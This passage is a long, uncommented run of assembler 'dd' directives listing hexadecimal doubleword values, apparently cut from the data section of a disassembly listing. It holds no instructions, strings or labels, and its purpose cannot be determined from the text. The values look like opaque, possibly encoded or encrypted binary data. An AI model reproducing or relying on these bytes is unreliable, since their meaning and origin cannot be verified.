5A6EEC55h, 0AAC3C457h, 0AE1F6EF6h, 14BE23BAh, 93CA0A8Fh dd 0E9F6A4BFh, 0CACA693Dh, 174DC3C8h, 0AA7F912Ah, 64E42042h dd 0FB5EE0A5h, 0BC3C528Bh, 0DD319B4Ch, 0C9D1313Ah, 87088ACAh dd 8318BDAh, 56BD5E9h, 0A31B04DBh, 0CE0E784Ch, 832CD028h dd 0B972B151h, 0DFDA59C8h, 0C702BC85h, 5258602Ah, 8005C2B2h dd 25E9A1EAh, 0DB4E4DFCh, 0DD5E270Eh, 0F124D1Bh, 7D5777E9h dd 0C8EB1D16h, 6C76B52Eh, 0AE9235Ah, 0B9F50841h, 0F353406Fh dd 58616B55h, 59970FF6h, 4C5C4B80h, 40F9F62Dh, 0BE6C717Ah dd 4798014Ah, 0C1E8C221h, 74500CE8h, 0C665F074h, 56A2DE09h dd 0A105BE5Bh, 0FFD6BFFDh, 65C90BF6h, 48012091h, 60A67AECh dd 0F9A9A206h, 0ADE82054h, 1890FD41h, 56F75EA3h, 498E053Ch dd 9AA10F91h, 6B3A752Ch, 7023284h, 7A1E23E9h, 0F0870973h dd 0C07712D9h, 0B7A0B96Ch, 0A9A2DEE6h, 590545Fh, 0FE425A68h dd 806B3B99h, 8947F9Ah, 31E5810Fh, 383FEC11h, 43301F8Ch dd 61ED012Ah, 8266CD27h, 0F61A570Ch, 4089FFCBh, 0E966B155h dd 8C2E3AF1h, 0C7502E6h, 0AA20677Dh, 0BBCA830Fh, 0BAFEB2B1h dd 5BC3E8D6h, 0B9512550h, 73B909D6h, 76B3A55Eh, 0B4667812h dd 8412BBC9h, 0FB26326Eh, 3C6B0596h, 0D5B0E9A9h, 8901EF99h dd 29377812h, 0F739B03Bh, 2B000DE6h, 0F309E02h, 9C0A818Ah dd 60DCBD8Bh, 0C25ACB26h, 5207BA76h, 2039EE3h, 0A8882DB4h dd 48F5151Eh, 0B5EAA41Ch, 0AF5748CAh, 7FEFD41Ah, 22A9CCC4h dd 0E3004709h, 7CED75E3h, 5FFE0109h, 0B8797D29h, 7DC913ACh dd 5C0035F1h, 4BE9965Bh, 0B2FE58F2h, 2DFAB8E0h, 7649302Fh dd 549333A7h, 2878DDBAh, 0C9692CF8h, 289093Eh, 0BB817AEh dd 0C9E65342h, 43A1D0Ah, 200B732h, 0E93DD30Bh, 0BCA55A59h dd 0FEA2B6EAh, 0AED5801h, 86205CD4h, 10ED70B7h, 0A1FEEE16h dd 0C60002DEh, 6B9AD5C1h, 0E2FBFC97h, 84F409E9h, 8AC40C96h dd 9F6E3EAh, 7DFEA1F2h, 5C9F1614h, 1A5E72E2h, 0D3AB6809h dd 619909F2h, 97BC4757h, 2FC4725Ah, 4368D5E9h, 15D9590Ah dd 0CD218B09h, 0BF22C6FAh, 502F3354h, 872BA069h, 0F0FBA35h dd 0EEBA22DDh, 0E30AFC46h, 0B4C42C58h, 0C80F60EEh, 314ED0E9h dd 0B12C1AA3h, 48D5A5B5h, 0F3B02A10h, 0E0A180Eh, 9F4A5E10h dd 76C54A7Eh, 0D15CB549h, 6FB1626Bh, 27DF00F7h, 4FE9E7D0h dd 82F3D814h, 417E110Bh, 80E85E09h, 16DB5201h, 0B3EECB29h dd 7F9C09BFh, 0A1A780C7h, 444952E3h, 4113BA2Eh, 94D0C7C8h dd 184F185Eh, 3F25EC42h, 0A400D0EBh, 0BB79B7C1h, 256DE986h dd 20C3983Ch, 0C9F6B153h, 5B9FA0B2h, 9F7A02Dh, 753F1F96h dd 82C1785Dh, 841B7408h, 0EEFF602Bh, 0E9A84AACh, 0F6D4F127h dd 0C068503Bh, 0D6D4444Ch, 26BFA402h, 0B1DF41CAh, 0C4EF9354h dd 902AC253h, 33CB94D5h dd 0E1C3F73Dh, 17F21A0Fh, 48DCFA77h, 2DFB314Fh, 0ED54215Fh dd 4E21B096h, 0A3623F14h, 5BF8029Ch, 0C1E1D828h, 0A980040Eh dd 7B744BA4h, 5FC2291Ch, 0C80F40DFh, 4F5F6C68h, 0A0F23E37h dd 20E666FEh, 9DB00267h, 5D82D7E0h, 5BE700DEh, 0FFC28BAEh dd 1AC2E2Eh, 72B7B206h, 0D6F21D6Dh, 0BFB1D8E9h, 0B30DBBF3h dd 0E601AB6Ah, 2EAFCCFh, 48883B29h, 7846BF60h, 203AB3Bh dd 205C66C7h, 1586DEF5h, 3D099C5Dh, 0BD745A75h, 0B7005212h dd 4DC570E8h, 78CA5889h, 4064F926h, 75AF7CAEh, 1EEAE3ECh dd 18C164FAh, 288F60F0h, 0A0293Fh, 627CB7A2h, 8BB00B5Fh dd 11022F75h, 83E289C0h, 3C260109h, 42AF8B0Fh, 2EC2DFA4h dd 0E98B1C74h, 778CE2C8h, 0C901EBD9h, 4D5F7C55h, 4E0FEE40h dd 0FA924FF2h, 0ACBFEF24h, 31D3A199h, 79C08C3Bh, 0BF64F740h dd 9F472F82h, 7168DF0Bh, 0D34A3034h, 1397CAEFh, 404BF653h dd 2FEB74A6h, 23600864h, 2FD76849h, 0A8565E36h, 66170030h dd 81E93713h, 238B7E4h, 3017E668h, 0DCBB5A86h, 7B90521Dh dd 5413429Fh, 0C5417250h, 66F5F2CBh, 674F0996h, 98042F52h dd 27ACE719h, 6429F957h, 0CCBE1283h, 6B4A7A92h, 0E9C68EF2h dd 0C012598Eh, 710406EEh, 0B4919439h, 0EA056011h, 0BE4B2EA6h dd 0A7D0B6CAh, 0BD23A6C6h, 36CC902h, 83415DBEh, 9A187AFCh dd 44C0DFA8h, 18064FEh, 225D9FDAh, 723C2D34h, 0D7244097h dd 5D5C0B9Dh, 0F4B7CF9Eh, 6F6EB43h, 7071E9C2h, 0A7594BB8h dd 2288760Fh, 215E809Eh, 6F5A5AB0h, 75AA4317h, 0E431EF9Eh dd 8C3A9E08h, 0FAA0559Fh, 3ACB6F5Bh, 0ACA17C58h, 0EE99BE6Ah dd 0F0D0F1F9h, 0E9C98812h, 98137249h, 343C3042h, 7182F10Ah dd 7CB96CFFh, 83B88026h, 0CFDAD752h, 652A6814h, 0E3E9B0FAh dd 5D80C9A8h, 819DB857h, 15CF09EDh, 0C50A2320h, 16853A30h dd 0A04F3A0Fh, 5CBAFEF7h, 2F8A5A9Fh, 0B2D858C6h, 97BE5621h dd 9680AAEAh, 95225DE9h, 51C70859h, 0FA8B0F4h, 1053542Fh dd 0D508750Ch, 3A474195h, 4A562ABFh, 98AE8B34h, 0E54F8AD1h dd 0AFE58CF8h, 1A82EAF5h, 0C7205BB0h, 0AC3245F5h, 0DC417A2Ch dd 5E3E747Ah, 14055995h, 0F580D111h, 0EDCB5072h, 1099015Ch dd 0F093F60h, 30506D8Ah, 4D2D417Ch, 5A1376A6h, 705EC341h dd 0AEA0605Eh, 0B426270Bh, 4218C314h, 25169A12h, 0E8D557ACh dd 27F43310h, 7562FA3Ah, 0F0E1CB92h, 0C3999317h, 0EC3DF1BEh dd 0B3AA50B8h, 43DFE90Eh, 55872A44h, 271905C0h, 0E9211509h dd 0E99B43B6h, 68145EBh, 0B9FCB81h, 7A5530E0h, 2F804840h dd 2B717ECEh, 0FDEB5D27h, 0C5BA784Bh, 13ECFC71h, 3787D882h dd 2C5E0804h, 5EF002FFh, 7E7609E9h, 65F9D625h, 423BF66h dd 86109C4Bh, 0F75C203h, 0C004EEDh, 0FDB2A38Fh, 255AD601h dd 3958F289h, 0FB007D9Dh, 0FEB4F8E9h, 0B36329BCh, 0E9BF8425h dd 0FFB0B27Ch, 0BEC54025h, 0A3B450D7h, 0E47B65A1h, 348E7E0h dd 5C50008Ch, 0E6813ACAh, 0F77C1D4Eh, 49F68316h, 0C3C54D06h dd 39B95BC4h, 0BDA02B1Ch, 624BE83h, 752A9268h, 0A0F6D320h dd 80330C2Eh, 760EFD68h, 6B5B3A87h, 97A9F0F3h, 72270B40h dd 0C176CB6Eh, 57B9037Bh, 0AADB17Ah, 0A24E7D69h, 2E606131h dd 1CF25603h, 0C68F6B5Ch, 22FB269Bh, 4673010Ch, 0BE999CFh dd 947B684Bh, 4B565C32h, 0E3A498FAh, 5B7CC3B7h, 0D016B719h dd 7864A154h, 0BC505407h, 5FAA4F09h, 0BD2ECA3Eh, 0EF274244h dd 0E29AB3DEh, 8CE07595h, 0B1A8FB9Ah, 0B4054248h, 0DBF75B49h dd 9CC48281h, 113CE76Bh, 0EA2FE59Bh, 8AAD05F6h, 190302ACh dd 0F9433C05h, 0F5D81DCDh, 9E5F84Bh, 3747B4Fh, 81FA2FDDh dd 6D0E8211h, 265DBA20h, 28E70829h, 438ECFE1h, 21EBF065h dd 0C110A6B7h, 8794241Ah, 8816AE94h, 0F807D9AAh, 1EBAFBD2h dd 0F5660397h, 0B336C98Dh, 0A698C62Bh, 0DC5BC40Ch, 320C72h dd 2904B135h, 34E953FDh, 0DB419DFFh, 7CCA0FC9h, 8568E113h dd 0CCC35131h, 0CF0705B4h, 570B09DCh, 84217BECh, 55F4432Ah dd 4BCADB00h, 0F536423h, 6D462587h, 2BBAB8DDh, 0DCEFC3F7h dd 0D6CAEB31h, 87BE5FFCh, 7A376811h, 1A9DEF60h, 92C6C2F4h dd 0EFD7FEF8h, 5AE905CFh, 0B8C291C7h, 0C3C83FA8h, 82627B7Dh dd 0AFE7CE05h, 0D12B8144h, 1E72BEFDh, 0D71BE84Ah, 0B04452CAh dd 97B85068h, 48F35758h, 0FC084171h, 0D6BDDF29h, 5226BB4h dd 7E09CA6Fh, 6851072Fh, 8F1B2B63h, 0C2A2A3C7h, 0B928BEDCh dd 0E0E93F57h, 0BF33FE2Fh, 0C0F2D392h, 9099C02Dh, 548C68D0h dd 4F4FDF38h, 8440E362h, 99FFEE83h, 678F6FD7h, 0A3650312h dd 7FFD10F1h, 79846375h, 0E4D066B9h, 82950925h, 20F718A9h dd 4A4715D4h, 0B7E719Dh, 0BAF609A8h, 130B7F52h, 0A8689102h dd 98EFC6D7h, 5C30851h, 3000731Bh, 0E9AA0712h, 0F544069h dd 2C94844Eh, 1938FCFAh, 509CCD8Eh, 712FB840h, 9C3D62E5h dd 665F7DBFh, 0D17261F9h, 0E745ED80h, 2B59EE81h, 68C3CBADh dd 0EF85616Ch, 5080D4F3h, 5F66F0B8h, 0D8F76A12h, 92777804h dd 349DE902h, 9009EC52h, 77EE508Fh, 35677C60h, 0A35322BCh dd 0D03D0896h, 0EE00FE98h, 42150DA5h, 0FC71B031h, 0E4B34FD9h dd 0D04195EBh, 0D105DA29h, 0F20E166h, 38B23790h, 0C17D3AC9h dd 60E60885h, 826E422Dh, 73FEA024h, 46BD24AAh, 5B169F81h dd 0AF56EB28h, 0E2AFA774h, 82D85F8Fh, 82154AE9h, 7974B892h dd 0E8AED044h, 0C92698D2h, 0F38980AAh, 0EB04ECB0h, 7B664954h dd 24B2DAC7h, 0C6D52B1Fh, 97FC27DCh, 0F8C626A4h, 0A63D9EDAh dd 0C5933A04h, 4E8D9AEAh, 80128964h, 20AD39AFh, 5D80F913h dd 5EDB9056h, 0AE331789h, 0BE5E258Bh, 5156ED03h, 7815605Eh dd 8A7C5562h, 0D2954198h, 9DD0B7DEh, 5B160D20h, 593984Fh dd 13A9B94h, 2B02D5Bh, 8CD6D801h, 26592007h, 10FE3828h dd 524C75C0h, 0C9FC5B2Ah, 8708CBDFh, 0ED669955h, 0F6606E7Dh dd 51DB57A0h, 0EF508398h, 8B7F5D07h, 50A0D49Fh, 0E2AA45E9h dd 29C8CF61h, 79B32E84h, 0C5CFB0BDh, 2D03A0B9h, 7F805FA9h dd 943EF181h, 0DD72952Dh, 5D0B8D16h, 22DCCBE9h, 553AD3ECh dd 73106618h, 4FFA7FF6h, 1F300B5Eh, 24597893h, 2624296Dh dd 68060FFBh, 8013558Ah, 4A3BBF57h, 0C2BF317Bh, 0D4E3D50Dh dd 0B02644A8h, 2E9070Bh, 55DD12BBh, 3FDA06CBh, 51B7ABD8h dd 40086DD9h, 0C41986F0h, 0E9526D02h, 0FDFE9D12h, 0D828C3C5h dd 7F33322Dh, 0D34BCE96h, 8EBB284h, 6426FBA7h, 95F3CF0Ch dd 0A9B509C5h, 0B77F774h, 0FB025F31h, 9D745431h, 8087449h dd 291363F0h, 0FEA84517h, 0F05693DFh, 9809BAF7h, 3BC53Fh dd 8667B04Ah, 6ED1B53Ah, 0D24EE90Bh, 0ECC30719h, 0BEF9A763h dd 5505A0D3h, 0D2BF8D98h, 2724ED39h, 125A0EB9h, 0AE4CE903h dd 881C53D0h, 0D9DE51EBh, 7F8171CBh, 38130299h, 79914B1Fh dd 0B650BC38h, 0BA029F6h, 0F189A820h, 3A26AFC5h, 2EC0570Ch dd 0B800005h, 0F8013F55h, 0CCBD9168h, 5C883D4Bh, 42E92C85h dd 0E831BE6Bh, 0B7004BC9h, 0EF03C082h, 2D880F08h, 0A8165E91h dd 1EFA1D3h, 89EA5711h, 5AD3BBh, 8BFBC202h, 65A2FC77h dd 0ABC7C7CEh, 0F9ECFAA1h, 0B956C93Dh, 9514D8DDh, 8275ECE2h dd 0F71A281Ah, 0AEFCFD33h, 9DF7A588h, 0B6BE1300h, 532C373Dh dd 5F01FD81h, 90E91220h, 4044002Ah, 42258D2Dh, 32A4585Ah dd 3CD74178h, 8AF8CB37h dd 818E1340h, 891EE1CFh, 0EB454F6Eh, 0C7853FA8h, 33A0BB58h dd 9E0B539Eh, 80ABAC4Eh, 2ADB50D5h, 1C46E168h, 5BE720B7h dd 0DFA0585Fh, 0D5AE0463h, 65DD2955h, 0A0AE6E12h, 0D6BD5B70h dd 47F77929h, 0AA5E25BCh, 62EB9B13h, 394AB42Ah, 624C5E77h dd 9C8EEB6h, 0B00B5EF5h, 84D03051h, 8AEFE073h, 11E24B7Bh dd 8DFEA9A5h, 5B61C9D9h, 0FA4B0128h, 5713FD8Ah, 0C7B5BE50h dd 0FE53321Ch, 4A4790FBh, 9AF9C849h, 0B4690828h, 0EF931A3h dd 356281F0h, 75862CF9h, 5E993730h, 0BC974132h, 0EF3C2279h dd 11D731B2h, 2CFD1EBh, 702D020Ah, 71FF375Dh, 29F1271Eh dd 0DDF32DC2h, 0C268FA10h, 56170109h, 9D5A775Eh, 7B280400h dd 8B8D0F3Fh, 41A9B6F5h, 6EEF53E9h, 0D42CE892h, 96552F45h dd 415198F3h, 0BEE2EAFh, 9102AB3Eh, 54E9290Ah, 4100D37Ah dd 757B78C2h, 7D860F0Ch, 0FBD49505h, 0D2AA4E58h, 9E58E032h dd 0F41A099Fh, 9588EEAEh, 80270B6Bh, 7A9BBB70h, 95B927Dh dd 0B4828564h, 0A9745F86h, 0C383D30Bh, 542B0001h, 0B5776235h dd 0ECE98E02h, 873B4A58h, 1E7296D5h, 82B5A9ACh, 87A7CC7h dd 6683728h, 0E0D98220h, 5B662DFAh, 42C2B2C0h, 2FC1DA9Fh dd 72F40837h, 0F9E42539h, 48E6EFFDh, 0E205F928h, 389443D8h dd 6941A21Ch, 0D721F4C9h, 0AA30EE65h, 607B9350h, 0FEB247E9h dd 0B4FD1B5h, 9766C874h, 58F16825h, 0E1FB9514h, 0F063FEAFh dd 0FF823767h, 0E9C1F559h, 0C834A4BCh, 5FF8EED6h, 82C097C4h dd 0DF09FEA2h, 76502AF9h, 905EB2D2h, 9AB55D78h, 0A9F617Bh dd 0F5B2F680h, 2F843EEEh, 0B730A8FBh, 0F0AC62A5h, 0C46680Bh dd 65624C7Ch, 0B45C05BEh, 0FD7C882Fh, 0A485DD6Eh, 939392D6h dd 8BBBD5C2h, 7FF94E04h, 0E409492Fh, 5BF2E47Dh, 10C2D0D2h dd 5C95FEECh, 2F0C5940h, 9BB62FD4h, 0FB4E5112h, 82CC74h dd 0B996164h, 1A3A53Bh, 0BDB8E908h, 27F78233h, 5D6FD542h dd 0A090F1E8h, 8104FE5Ch, 6B9820E2h, 0DD42163Ah, 0ECCB2BB5h dd 6948152Dh, 6C765CC6h, 7F12FC4Bh, 0E6A7A091h, 6DF65307h dd 1CB80A4Ah, 4338FB96h, 70AC7CBFh, 0FD092FBAh, 0F9FB8E39h dd 0E87D30FEh, 0A4D7C5B5h, 0ABAE12C0h, 2D68816Ch, 94651FE8h dd 28153988h, 0DAE700C1h, 0F13EA43h, 0BF4AB982h, 0ABF147BCh dd 0DEF7002Eh, 0CE84120Fh, 3288EA72h, 1E0C4D69h, 1651E21Eh dd 0BAF2C48Bh, 8E2E8ACBh, 0DAC0AD86h, 0AFA8C20Bh, 5C133FEBh dd 6DD46085h, 2D670814h, 884FD139h, 26264C9Ah, 0D461D800h dd 9EF815Bh, 4741574Fh, 8A0B77Eh, 653BD380h, 43E3F99Fh dd 8E58D3D8h, 31A312D3h, 0EC9E99FFh, 0E595E72Bh, 2EEB0125h dd 2B09F763h, 804D6E5h, 0E8722DBAh, 49B9FEB1h, 4565189h dd 0B2BC6CCBh, 731FCBC1h, 8AF0301Bh, 0CF210F81h, 7872912Ch dd 769FA2CCh, 0EB8A0BB6h, 1A1F4E57h, 3093A9E9h, 0F2D8175h dd 0B4246788h, 0A40CF42h, 0DF890690h, 9FCC8D2Ch, 0C8220D5Fh dd 2F45FE3Ah, 35EBB3C4h, 3547003Bh, 61153144h, 2120B8A0h dd 180F1B26h, 63B7B713h, 38D0B770h, 7294392Ch, 8AC7EAFh dd 32289F1Fh, 95653A04h, 49BF4D1Dh, 6E29AD83h, 52187EFEh dd 5EC426h, 0CD816367h, 3306324Bh, 0D1E925h, 3E0C100h dd 527CF248h, 0D4129C8Fh, 0B54ED11Dh, 0FE5B00FAh, 215C5ECAh dd 3788AC2h, 9689EFE9h, 0BAC24F3Bh, 150F483h, 49452C1Ah dd 30DFF77Bh, 7C005328h, 0D90542E5h, 289D1F27h, 41E1C701h dd 93F93B03h, 0D127124Ch, 0E1834A7Dh, 0C46F123Dh, 2F8FBA58h dd 13F6AD4Ah, 0A456D69Bh, 59CBD3ABh, 0C67D39B2h, 4AE917C8h dd 0AF6F35B3h, 151F1F4h, 8C784BB9h, 20E1C13Fh, 522D8A0Dh dd 0AE9E7737h, 13A13424h, 1597681Ch, 0C3A60BF8h, 0E4D7592Fh dd 0D412278Ah, 6EDAD5BBh, 310E11D6h, 9CA4E4DFh, 5515FC8h dd 89503CE2h, 416982F0h, 0C18517Dh, 0EFCFB96Ah, 5B570425h dd 0D15749A1h, 54A9977Eh, 59723FABh, 0EB0E8311h, 58806034h dd 46AC0540h, 354E4300h, 8263043Dh, 0C06B4AE9h, 3FD82D8Eh dd 56020BF4h, 8E1468BEh, 13A2822Eh, 1621FF78h, 7F4531A5h dd 0C1596FB0h, 0F0440FCEh, 33E86E42h, 8895E618h, 0C8945954h dd 0E95904E9h, 0F481B8BAh, 56BF6913h, 3C3DEED9h, 96AFE96Ah dd 0E237D3ABh, 39BD7C4Eh, 0B786626h, 4444DCCAh, 10E8C117h dd 445C63B0h, 3E409C58h, 0C2B5945Dh, 570B8AF5h, 0B4B06148h dd 74C83AEBh, 0C9BF4E2Fh, 0AEBE30D1h, 0FB0BEA8h, 12BC48B1h dd 69B075AFh, 2B17416Dh, 0FE133EB9h, 894A370h, 12FFF1E7h dd 0F88AEFEBh, 3CE95C04h, 0A153B83Bh, 5000D4ABh, 0C7E4C888h dd 0FE59581Dh, 1413AA24h, 28E98542h, 2D5B45D7h, 845A9B64h dd 0FDEA444Bh, 6FFE93ABh, 758E3FC2h, 49E64620h, 0D8A0442Eh dd 0F94A0AA9h, 35D717C0h, 0CC324C5Bh, 814A081Eh, 71776AF2h dd 10D27BA9h, 25A274A7h, 2917CD14h, 34E92DE8h, 0DBE95D0Dh dd 10D97875h, 0EC4E535Fh, 4D7510AFh, 410AE818h, 94006ECCh dd 16101E53h, 22923B2h, 5C87F381h, 0F7F32BFh, 162FD846h dd 7AE600ABh, 753A6BB9h, 19017E41h, 5004EDB1h, 0D2B65867h dd 0B002E0Ah, 0E425699Dh, 30F63307h, 0A24909E9h, 0CE028630h dd 0C393E091h, 1689611Ah, 23BD9031h, 5B804600h, 21E8B419h dd 9C7FC6EEh, 0EDA18F00h, 5D0C4D34h, 8B5F0E1Ah, 661A419Dh dd 0E77EF4C0h, 0C72A63Eh, 19183D85h, 19EA03C7h, 6E93A88h dd 92416501h, 518C821h, 0C0363A9Ch, 0B8660F83h, 9E98130Ah dd 2B503203h, 315B185h, 9D29594Ah, 0E071F95h, 3103EE83h dd 0C05F993h, 0CE94E12h, 0C8001461h, 809F8395h, 398B42FAh dd 81840721h, 0AA9974FEh, 0B07E6C4Eh, 0C068B41Fh, 32A65D2Eh dd 393B6AB8h, 62EE8046h, 958F7F04h, 0C1340216h, 0EB4CF3A7h dd 8E63C0F5h, 2C503E71h, 6E482448h, 54EE6300h, 340E4383h dd 48051CAh, 4BD986DFh, 0A001089h, 39DC6E49h, 181B02A9h dd 0FEC5839Fh, 0D9035AAAh, 0C750F7D7h, 2169E30Ah, 46083629h dd 84C39088h, 0DA486BB2h, 0C47ABF43h, 4421F08h, 18CE2275h dd 97BF7200h, 41960051h, 0A35F2F4h, 550092D4h, 0F63137A9h dd 7D01627h, 5FAB14Ah, 0A5E930FCh, 47009B12h, 293ABC7Bh dd 0D4DFE6h, 5EA2175Dh, 0C2AEEC24h, 9891D200h, 3E97B6E3h dd 887153h, 0DB451C21h, 0FDF36494h, 0B7057600h, 0ABC975B6h dd 696C0052h, 98DEF283h, 21009A53h, 23D61EF5h, 325CFA1h dd 28B26556h, 8490BC50h, 2601D248h, 9E945DBBh, 2ED463BDh dd 24B10786h, 57B573F3h, 7A8F5031h, 5000A062h, 969CD2B9h dd 0B84895A8h, 0F39200F8h, 7A431752h, 4C00BFB7h, 36B8A3F5h dd 0B0F186h, 0FC3E41D5h, 0F9763AD0h, 17DED100h, 0A97F429Ch dd 0E8CC003Ch, 0CEC0ABDCh, 87003605h, 7C6FB104h, 0D20B08h dd 56B73179h, 0C4DD397Bh, 0FB78E009h, 430C0EBCh, 0FF91D7FFh dd 0F5903467h, 3D2144Bh, 7077E915h, 10F067B6h, 3A2A710Dh dd 0E500B845h, 0BB87D8D2h, 69757Ch, 9D159F26h, 25996357h dd 1202C0A0h, 4EEBD100h, 8AEF6913h, 617A23h, 4F76F881h dd 0EE54F76Fh, 9FD63607h, 0ACC02C52h, 5C045F9Bh, 381DA7BEh dd 0C71C00E7h, 693F3007h, 3131900h, 48F433C3h, 0F2750717h dd 479A0C21h, 593690E4h, 0BB2460E2h, 92037C5Bh, 0E0B2938Bh dd 7F312Ch, 5FD146CAh, 0D273E56Bh, 13051600h, 3F1D6AA1h dd 501000CEh, 0F7B22EDCh dd 7AEF1863h, 3EF00CB0h, 458C59B0h, 0A9B0309Bh, 5A005790h dd 274B46D4h, 1505DD3h, 3A3841B6h, 0D08788BBh, 0DA00F5B3h dd 939F2948h, 0E42676h, 96CC9A1Bh, 0F0A0FD53h, 8E98D800h dd 7FF7F908h, 0E3FB013Ah, 4FFA7339h, 55E0242Bh, 0DCD00200h dd 1B6C6EE8h, 0B3600021h, 7BF30607h, 0D9763B29h, 0A29CF405h dd 29803C71h, 36662B4h, 8CCCC2A5h, 0DEB08F09h, 7300933Bh dd 9D162150h, 0FA1C5B62h, 0C7940003h, 0F8A9BEC2h, 301DDD91h dd 0D0C0B0BBh, 512D451Dh, 48EC4803h, 710B4A00h, 5414222Bh dd 2A6FC315h, 0E25B01B0h, 7BF2FC21h, 0F9CAC050h, 54230DCh dd 9E5DE078h, 3908550Eh, 4504A0FCh, 24D686CCh, 0CC1046h dd 33274258h, 0D000A66Dh, 0D4596A5Ah, 0F8B943h, 0A82DEB7Dh dd 0A009BE4Ch, 0EA00E0E8h, 611CC0AEh, 25E7444h, 11CD7C22h dd 53E0A940h, 0C60FC9AAh, 7101AADh, 9671D718h, 0CFF8AB06h dd 0C30703FBh, 25452CB6h, 15276AD0h, 0E6138102h, 0C0356BB4h dd 9266F3h, 0D6BAA908h, 75010A57h, 4F0F403h, 121B94h, 0BC47CF59h dd 0B5EF42D4h, 706B8400h, 0F2960714h, 0E48D51E2h, 0F605DCh dd 15D8E3FCh, 0B57E3082h, 13102300h, 0BA83DCC9h, 0F7C0077h dd 89B3620Bh, 0E1B0804Fh, 1526E100h, 96408FC9h, 0C2C079Ah dd 0A083B6A1h, 0AB274503h, 0AC3C52h, 95FB02FDh, 18B0A12h dd 0DA8F36Ch, 0E6B335C0h, 7FF28460h, 2F55C600h, 4ED454B0h dd 12C500A9h, 0C876C70Dh, 148E977h, 295F0328h, 8AD4EBh dd 93883E11h, 0FEB4C61Ch, 5C4A01Ch, 105283C7h, 0C5B5BC60h dd 0D21C0124h, 0F03D045Bh, 4F61E482h, 0D4031972h, 0D5E49749h dd 946D0AAh, 0E7FC00BCh, 13F1531Eh, 0A80657ACh, 0CB349FD8h dd 0AF4B006Ch, 475122D0h, 24902D9Ah, 76B50818h, 0C14BD3Ch dd 988A8E59h, 69EADD50h, 0EC70F400h, 0D48FE2DFh, 67AC0062h dd 0DCB9076Dh, 99713FFFh, 8E82963Fh, 0A0C64F5Eh, 320AF9CCh dd 42FD0002h, 17C256FEh, 6C0A1FDDh, 0E081E77Dh, 194D1000h dd 0EF2D22h, 142AEDEEh, 3D89933Ah, 0AEA35512h, 0E7134800h dd 50F5C4E1h, 1D83A01Fh, 71CF1DCh, 80B073F7h, 0F9D010E4h dd 16BFBE07h, 4480905Bh, 22A4AEh, 69391D48h, 737AA8A1h dd 5F527803h, 0D09101ACh, 99AFF79h, 506271B3h, 0C57D3A00h dd 300C04Bh, 5D3C05D6h, 8E9CA2h, 0D2CD7934h, 5CAE1EDEh dd 42461407h, 29C08CF2h, 0CBE78CCh, 956F53C1h, 72FE1911h dd 3BCDA10Eh, 61EA0081h, 0B17DD3Ah, 0A3E3A911h, 0E70A1800h dd 0AE5C69DFh, 0CC0077C9h, 6DAA1C13h, 3487FB1h, 0E85E6F8Eh dd 83959962h, 0FDE8028Bh, 8F1EA32Ah, 0F1875493h, 45A0F73Eh dd 58917B2Fh, 0A001828h, 61E0A91Ah, 0D303640Eh, 3639AD24h dd 38268989h, 4B7034h, 86CAA0AAh, 5B851CE9h, 0A96919CEh dd 347C8044h, 7A04C708h, 393104F6h, 0C2A21E93h, 0F4E3C8DFh dd 4DE0C0D4h, 1A30273Fh, 9B2AE883h, 0F8080073h, 0EE30577h dd 0F34C01B8h, 99C5000Eh, 8F0B4E89h, 16C59890h, 1AA9A91h dd 0E1473035h, 62B07035h, 0B560E04h, 4807906h, 8B53CAh dd 36206ACEh, 0C997E66Bh, 0C8078875h, 64FC7FC5h, 0C282801Bh dd 713C3106h, 0DF5200A4h, 334DE005h, 0C0C13AAEh, 11CB8DECh dd 0F2CA7F8h, 86B63592h, 966EA1E7h, 0A2005ED1h, 0A9742BECh dd 155CEBh, 66F5C80Bh, 0F970188Ah, 3C2AD300h, 6FF18236h dd 448B04Bh, 0FD1A60ABh, 8481C779h, 404C0F6h, 24338A08h dd 0D04711B0h, 12ABE5ADh, 9BFCF4h, 5E6766B4h, 11CF9C8Dh dd 0E7CC0CEh, 3B68B91Eh, 0CA024192h, 6DC783A1h, 518458C0h dd 0BC315F00h, 0CCEF3C14h, 0C2CE26EBh, 8703052Bh, 3900807Bh dd 0CD004BADh, 9EA8481Eh, 0AC84CCh, 5EBBF88Eh, 0E7DEBDF7h dd 6BFEB60Eh, 0DB07720Ah, 58120131h, 0A308C86Ch, 3E1E28BDh dd 6A9300FAh, 0E9714C8Ah, 0C700E33Ah, 0B4780D77h, 9C2D60h dd 0E8D3ECE1h, 0F60BF030h, 0FA3EA700h, 0C536B675h, 608D0055h dd 184E5270h, 3971EBDCh, 1B463200h, 0F7B8157Ch, 0E7A206C3h dd 101A9E78h, 0EF2E1DEEh, 0DA9D4C85h, 806DC3CBh, 0FE5BB909h dd 10754820h, 905F2Ch, 8242DB22h, 0E1007CC6h, 86969B4Fh dd 0FC353BAFh, 52A600A2h, 0CD3AF1C3h, 0A0009EECh, 42FE8DE1h dd 48E81207h, 0C080D8E0h, 4A152C09h, 7704E48h, 55C2A4F9h dd 0C63E5B50h, 43E000E5h, 0C1AF5A54h, 0D9002815h, 59AEEB7Ah dd 48172Ah, 0FF9FD7EAh, 328899CEh, 0DFE3770Eh, 7D45E010h dd 63F4B2h, 18A6945Bh, 0C7292D8Ah, 0ED19F700h, 51828475h dd 1CAA025Ch, 5B364704h, 807F04E1h, 0EE57DEE9h, 0E4E872F6h dd 51700D3h, 0A1B7332Dh, 520016CFh, 0B5756CCEh, 227B59h dd 82181D5Ch, 4CBFB3FEh, 58DD9C00h, 947C3DAFh, 0D7811020h dd 1375084Fh, 0CDF56036h, 3C000E1Bh, 7A504660h, 90E0B94Ah dd 0B6050078h, 802DB327h, 0A00B8653h, 80B84EB4h, 1FFAE2Dh dd 12CC0093h, 2C054F1Dh, 900066DAh, 0B23EC382h, 28CE6134h dd 94E88Ah, 9E4ABC39h, 28DA815Dh, 83B16707h, 58775219h dd 4B46D010h, 0AE4E00E5h, 76A3F49Eh, 781E8B3Bh, 2E806DFCh dd 80EF4081h, 0DB690956h, 1C69DEF3h, 9338E482h, 3D652100h dd 0AEED4BEBh, 8430034Ch, 0C7F20AB0h, 9B4502A8h, 0F7800301h dd 702A6975h, 174FCh, 0E734E531h, 28A68E6Eh, 5AF1AB00h dd 0C5024498h, 47253C38h, 2078B680h, 9EFF89B8h, 48408A4Bh dd 0ED28F76Bh, 33EC00AFh, 5BC3A0EEh, 0DF013008h, 6B373CD6h dd 6DF0BC86h, 71D4E984h, 2567041Fh, 0C0ADD987h, 249947Bh dd 0AE6B3800h, 3E8D81A6h, 16032C9Ch, 1C9F00E0h, 31AF5EDEh dd 0A5699400h, 5A9CF2CCh, 1AE625h, 5E3DC4C9h, 0A64A3C88h dd 